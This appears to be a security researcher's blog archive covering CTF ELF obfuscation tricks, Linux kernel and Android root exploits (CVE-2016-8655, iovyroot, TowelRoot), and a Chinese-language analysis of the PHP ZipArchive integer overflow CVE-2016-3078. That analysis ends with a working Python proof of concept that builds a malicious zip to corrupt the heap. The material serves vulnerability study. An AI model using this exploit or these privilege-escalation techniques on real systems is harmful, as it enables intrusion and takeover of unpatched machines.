Friday, February 23, 2018

ELF Black Magic Collections - Evading from static analysis



HITCON CTF 2017 Qual 

 void: https://github.com/david942j/ctf-writeups/tree/master/hitcon-quals-2017/void

".rela.dyn" section is patched to rewrite (and append) an address (0x935) into ".fini_array" at load time. ".fini_array" is a function pointer array ended with NULL pointer. These function handlers are called in the reverse order in the exit after main function returns.



textile: https://github.com/edwardchoijc/ctf-writeups/blob/master/2017-Hitcon/rev-textile/textile


There are 2 program_header_table (PHDR) in this ELF binary - first one is at offset 0x204270, the second one is at offset 0x40.




Disassemblers take 0x40 as the PHDR offset.

radare2 - rabin2 -S
readelf -e

But the Linux kernel (wrongly?) calculate the offset with 0x400000 (base address) + 0x204270, which corresponds to offset 0x4270 in the raw binary - PT_LOAD has a 0x600000 base. So, this is the actual PHDR at runtime, and PT_DYNAMIC is changed to 0x6677CD:


So this time, the dynamic loader didn't check the p_offset and take p_vaddr directly. In PT_DYNAMIC, DT_SYMTAB is changed to 0x6E125B (0x4002C0 on the other hand). So that's where we can see the "memcmp" symbol is modified to "strcmp". The second "strcmp" symbol is set to be STB_LOCAL to avoid name conflict.

Code from glibc/elf/rtld.c



Google CTF 2018 Qual
 APT42: https://github.com/p4-team/ctf/tree/master/2018-06-23-google-ctf/apt42-part1

This binary is built with PIE/PIC disabled, and its text section starts from a fixed base address of 0x400000. The binary is all normal except that several bytes were changed in the .got.plt section --- the resolving address of sleep is changed to an arbitrary one. This tricked my IDA Pro 6.8 without seeing the dl-resolve hijacking.

IDA Pro 6.8 Disassembly
.got.plt from raw binary
Debugging & BP on _dl_start




References:

                                 http://www.skyfree.org/linux/references/ELF_Format.pdf

Sunday, December 18, 2016

What I Learnt From the CVE-2016-8655 Exploit

In a recent Exploit of CVE-2016-8655, found and developed by Philip Pettersson, I found an interesting strategy of exploitation on Linux which is worth to be noted and written down.

About the Vul?
The vulnerability is quite straightforward, and has been explained very detailed in the original post. There is an race cond in AF_PACKET socket handling in setsockopt syscall, which will lead to an UAF in the timer_list structure (in socket structure) when closing (/releasing) the socket. The timer_list structure looks as follows, with a function filed as a callback when the timer expires.



With the UAF, overriding the function field by suitable payloads will serve the control flow hijacking.

About the Exploit
An interesting part of the exploit is that, instead of using the sendmsg to fill the UAF timer, add_key is used. With len and payload as arguments, add_key is allowed to create SLAB chunks in any length in fully controlled data.

The code of this syscall can be found in security/keys/keyctl.c . Note that in the following snippet, we can see how add_key can help to fill the UAF.



After hijacking the control flow by overriding the function field. The exploit sets the vsyscall page as r/w. The vsyscall page is a feature for x64 Linux PC distributions. A note-worthy background of it is that vsyscall page is placed at a fixed address 0xFFFFFFFFFF600000, and is accessible from both kernel and user code. By setting the page as r/w, user code can directly write the vsyscall page which is in the kernel memory space, so as to bypass SMEP/SMAP.

The rest of the exploit fakes a ctl_table structure in the vsyscall page, and triggers again the vulnerability, calling the register_sysctl_table to register sysctl entry for modprobe. The idea is to overwrite the modprobe_path global variable with the callback function in ctl_table structure. After overwriting the modprobe_path to the path of the process itself, a new socket is created to call request_module, which will start a new privileged process at the modprobe_path variable.

In conclusion, the techniques I found interesting to note down is:
1) use add_key to fill the UAF;
2) use vsyscall page to bypass SMEP/SMAP;
3) use modprobe_path to escalate the privilege.

BTW. I found a very comprehensive summery of Linux exploitation and mitigation bypass techniques by x82 at http://powerofcommunity.net/poc2016/x82.pdf

Monday, November 28, 2016

Porting iovyroot to Samsung Galaxy S5


I somehow got a Samsung S5 cell phone at hand, with the rom version G9006VZNU1BOJ4. The iovyroot vulnerability is not fixed in it, so I guess there is a chance to exploit it with iovyroot. However, there is no S5 support in offsets.c file. So, Time to get hands dirty again.

About the iovyroot, it is an open-sourced exploit for CVE-2015-1805. I've also wrote a writeup about it in one of my previous posts. (Sorry for the Chinese :P)

First trying to play by the book, I fill in the offsets struct according to my phone. The header file offsets.h and getroot.c give out comprehensive comments to help me walk through this.




My version of offsets struct looks like this:


However, simply run this code didn't end up well. As is also reported in iovyroot issues. S5 has troubles in jumping back to userland exploiting code because of PXN (even though it has a 32bit processor). So JOP gadgets are required.

My JOP gadgets and preparejop() ended up like this:

jop_1 is the address to overwrite the check_flags function pointer. jop_2 leaks out the stack register, and then jumps back to the fcntl syscall routine.

Everything is ready now. It's time to fire up. A weird thing occurs to me is that the system() doesn't work any more after the rooting. I tried to spawn /system/bin/sh but nothing happened. However, after I replaced the system() call to a read to the previlieged file 'init.rc', it worked flawlessly! So, work's done!

Wednesday, June 29, 2016

Exploiting Futex Bug (a.k.a TowelRoot)


These three blogs from nativeflow is very helpful in learning the futex bug, but details in how to exploit is not mentioned.
http://blog.nativeflow.com/the-futex-vulnerability
http://blog.nativeflow.com/escalating-futex
http://blog.nativeflow.com/pwning-the-kernel-root

My code here at github tries to fill this blank. I wrote detailed comments in the code, so it should be quite self-explanatory.  There are also scripts I used to run the emulator, and build the code. I also attached my debugging script. I think this should be helpful to anyone learning this futex bug. My exploit stopped at the full kernel r/w to keep the code clean. To further exploit and gain root should be very easy ( since we already get full kernel r/w ).

I do exactly what these blogs said on environment setup, but there are some discrepancy. When I sendmmsg to override the rt_mutex_waiter struct, it is the iovstack[6] and iovstack[7] override the plist_node struct of the rt_mutex_waiter. So, some tricks should be used to bypass the checks related to the iovstack. Comments in the code should explain this well.

Again, you can check my code at : https://github.com/HighW4y2H3ll/exploitingFutex

Wednesday, May 18, 2016

CVE-2016-3078 PHP ZipArchive Integer Overflow 分析


        这个漏洞的影响范围是PHP 7.0.6版本以前的所有PHP 7.x 版本。PHP的源码可以在这里下到,https://github.com/php/php-src/

PHP源码架构


        PHP源码里的核心库是在Zend目录下。负责php脚本的解析,执行等核心功能。

        TSRM目录下是关于PHP多线程的库。

        ext目录下是实现各种PHP扩展功能的代码。如:ftp,ssl,xml等,也包括这次主要要分析的zip解析的功能。

漏洞详情


        关于CVE-2016-3078,在社区上有人发过:http://seclists.org/bugtraq/2016/Apr/159
主要问题是,当PHP在x86的机器上编译的时候,其中的zend_ulong类型会被编译成不同的长度。



        以上代码来自Zend/zend_long.h。可以看到,如果是在x64环境下编译的话,zend_ulong是64位长度的;如果是x86下的话,就是32位长度的。然后,在php_zip_get_from()函数里,会把一个64位的长度赋值给一个zend_ulong类型的变量,形成整型溢出,然后是堆溢出,通过合理构造输入可以达到任意地址写。

执行流程


        一个可以触发漏洞的简单的php脚本如下:


        在php脚本里,解析zip文件时,先调用ZipArchive::open()来把zip文件读到内存里。在php源码里对应的代码在php_zip.c里:



        其中,open()初始化了一个_ze_zip_object结构体:




        其中的za指向了一个zip结构体,这个结构体存放的是与被解析的zip文件的内容相关的东西。



        其中的zip_source_t *src指向的结构体与zip文件里的数据相关的东西。



        其中的cb是一个union结构体,里面放的是在解压zip压缩包里的文件时调用的回调函数。在open()函数里,这个回调函数会被初始化成read_data()



        再转回php脚本。open()完成之后,然后调用getFromIndex()或者getFromName()读取zip压缩包里的具体文件数据。在php源码里,这两个函数的都直接调用了php_zip_get_from()函数,而这个就是存在漏洞的函数。

        在php_zip_get_from()函数里,会先从Executor Globals里把传入的参数读出来。然后会解析zip文件的dirEntry对应的文件目录,然后更新一个zip_stat结构,存放结果。



        其中size是uint64的,对应zip Entry里的UncompressedSize位。之后会检查从php脚本里传入的参数len是不是小于1,如果是就会把这个size赋值到len。注意,这里len的类型是zend_long。



        然后,调用zip_fopen_index()来解析zip结构,然后更新zip结构体的数据。在解析过程中,这个函数会对zip文件的压缩方式做区分。分别是encrypted,compressed,和store。

        encrypted是加密,需要password;compressed是压缩;store是不压缩,直接存放原始文件数据。然后会在原来的zip结构体之上再重新封装一层zip结构体,并把新的结构体的回调函数注册成相应的解密、解压、crc检查的函数。并返回这个新的结构体的指针。

         接下来,回到php_zip_get_from()函数。zend_string_alloc()函数是触发整型溢出的点。然后下面的zip_fread()函数是堆溢出的点。



        在zend_string()里会先对len做一个边界对齐,会在原始len的大小上加上0x14然后再mask 0xFFFFFFFC。攻击中可以把UncompressedSize设成0xFFFFFFFE,然后会分配一个0x10大小的堆。



        这里面,调用了pemalloc分配堆块。它是php内部实现的一个Memory Allocator。源码在zend_alloc.c里,具体就不展开了。它里面对小的堆块的分配做了优化,所有小堆块都连续分布在一个或多个连续的内存页上,每个空闲的小堆块都用一个单向链表的形式组织起来。第一个空闲的小堆块的地址会放在全局的chunk head的free_slot里。



        当要分配小堆块的内存的时候,会先从free_slot里拿出那个地址,然后根据链表,把下一个free的block地址放到free_slot里。代码如下:



        所以,这就给堆溢出带来了机会。可以先溢出改写下一个free block的头,然后再分配一次,把构造的free block头写入free_slot,然后再分配一次,构造出任意地址写。

        实际的堆溢出发生在后面的zip_fread()函数里。他会递归地调用之前提到的zip结构体里注册的回掉函数。于是,就会先调用之前提到的decrypt/inflate/crc check,然后再调用在open()的时候注册的read_data()函数。这里基本上可以看作是memcpy。

POC:

import struct
import binascii
def file_head( name, data, uncomplen):
r = '\x14\x00\x00\x00'
r += '\x00\x00' # frCompression = FL_STORE
r += '\xBB\x63'
r += '\xAD\x48'
r += struct.pack("<I", binascii.crc32(data)&0xffffffff)
r += struct.pack("<I", len(data))
r += struct.pack("<I", uncomplen)
r += struct.pack("<H", len(name))
r += '\x00\x00'
return r

def file_rec( name, data, uncomplen):
r = '\x50\x4B\x03\x04'
r += file_head( name, data, uncomplen)
r += name
r += data
return r

def dir_entry( offset, name, data, uncomplen):
r = '\x50\x4B\x01\x02'
r += '\x1F\x00'
r += file_head( name, data, uncomplen)
r += '\x00\x00'
r += '\x00\x00'
r += '\x00\x00'
r += '\x00\x00\x00\x00'
r += struct.pack("<I", offset)
r += name
return r

def end_loc( num, size, offset):
r = '\x50\x4B\x05\x06'
r += '\x00\x00'
r += '\x00\x00'
r += struct.pack("<H", num) * 2
r += struct.pack("<I", size)
r += struct.pack("<I", offset)
r += '\x00\x00'
return r

# Create 3 files
## SIGV will generate when trying to
## heap->free_slot[bin_num] = exit_plt->next_free_slot;
exit_plt = 0x80910030
payload = struct.pack('<I', exit_plt) + 'B' * 0xC
f1 = file_rec( "XXXX", payload, 0xfffffffe)
f2 = file_rec( "XXXX", 'C' * 16, 0xfffffffe)
f3 = file_rec( "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)
# Once more to overcome GC
f4 = f3

d1 = dir_entry( 0, "XXXX", payload, 0xfffffffe)
d2 = dir_entry( len(f1), "XXXX", 'C'*16, 0xfffffffe)
d3 = dir_entry( len(f1+f2), "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)
d4 = dir_entry( len(f1+f2+f3), "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)

end = end_loc( 4, len(d1+d2+d3+d4), len(f1+f2+f3+f4))

with open('poc.zip', 'wb') as fd:
fd.write(f1+f2+f3+f4+d1+d2+d3+d4+end)

Friday, May 6, 2016

libstagefright (CVE-2015-1538) 分析


        CVE-2015-1538 这个漏洞说是整型溢出,看源码看了半天没看明白,然后去逆向了下libstagefright.so,才看出来。

        百度出来很多libstagefright的分析,关于这个CVE的分析都有点问题。



        整型溢出的地方应该是这个new的地方,对应源码是:



        然后才会有越界写。

        别人写的利用代码可以做参考:
        https://github.com/huntcve/exploit/blob/master/cve-2015-1538-update.py